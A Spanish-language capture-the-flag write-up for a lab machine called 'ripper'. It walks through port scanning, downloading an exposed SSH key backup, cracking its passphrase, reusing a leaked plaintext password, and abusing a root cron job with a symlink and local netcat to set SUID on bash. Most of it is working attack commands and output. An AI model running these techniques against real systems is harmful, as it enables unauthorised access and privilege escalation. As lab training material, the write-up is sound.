Enumeración de servicios
Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.28
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 22:51 -04
Nmap scan report for 192.168.1.28
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
| 256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
|_ 256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.48 secondsEnumeramos y un staff_statements.txt da la pista de "antiguos archivos de conexión SSH":
❯ cat staff_statements.txt
The site is not yet repaired. Technicians are working on it by connecting with old ssh connection files.Acceso inicial mediante una clave SSH expuesta
Buscando archivos de respaldo encontramos id_rsa.bak. La extensión no evita que el servidor web lo entregue, por lo que descargamos una clave privada cifrada:
❯ gobuster dir -u 'http://192.168.1.28' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,txt,html,bak -r
...
/id_rsa.bak (Status: 200) [Size: 1876]
...Convertimos la clave a un hash compatible con John y aplicamos password guessing contra su passphrase:
❯ /opt/john/run/ssh2john.py id_rsa > hash
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
bananas (id_rsa)
...El usuario lo deducimos de la máquina (jack) y entramos por SSH:
❯ ssh jack@192.168.1.28 -i id_rsa
Enter passphrase for key 'id_rsa': bananas
jack@ripper:~$Movimiento lateral mediante Credential Exposure
LinPEAS detecta que opasswd, archivo que puede conservar hashes o datos asociados a contraseñas anteriores, es legible. En esta máquina la salida expone una contraseña en texto claro, válida tanto para jack como para helder:
...
═╣ Can I read opasswd file? ............. jack:Il0V3lipt0n1c3t3a
...
jack@ripper:/tmp$ su helder
Password: Il0V3lipt0n1c3t3a
helder@ripper:/tmp$Escalada mediante un cronjob privilegiado
Obtenemos la primera flag. Con pspy64 detectamos un cronjob de root que combina dos entradas controlables: compara el contenido de /home/helder/passwd.txt y usa como nombre bajo /usr/bin/ lo recibido por Netcat:
...
2024/04/28 20:02:01 CMD: UID=0 PID=19380 | /bin/sh -c nc -vv -q 1 localhost 10000 > /root/.local/out && if [ "$(cat /root/.local/helder.txt)" = "$(cat /home/helder/passwd.txt)" ] ; then chmod +s "/usr/bin/$(cat /root/.local/out)" ; fi
...Creamos un enlace simbólico para que el archivo controlado resuelva al mismo contenido secreto que usa la comparación. Después respondemos bash al listener local. La sustitución $(cat /root/.local/out) inserta ese texto en la ruta que recibe chmod +s, por lo que el cron termina activando SUID sobre /usr/bin/bash. No es una carrera temporal: el problema es que una tarea privilegiada sigue un enlace controlado y concatena una entrada de red en una operación sensible:
helder@ripper:/tmp$ ln -s /root/.local/helder.txt /home/helder/passwd.txt
helder@ripper:/tmp$ echo "bash" > /tmp/root
helder@ripper:/tmp$ nc -lvnp 10000 < root
listening on [any] 10000 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37344
helder@ripper:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
helder@ripper:/tmp$ bash -p
helder@ripper:/tmp$ id
uid=1001(helder) gid=1001(helder) euid=0(root) egid=0(root) groups=0(root),1001(helder)bash -p conserva el EUID 0 otorgado por el bit SUID, un caso de SUID Binary Abuse. Obtenemos nuestra flag.
Fin.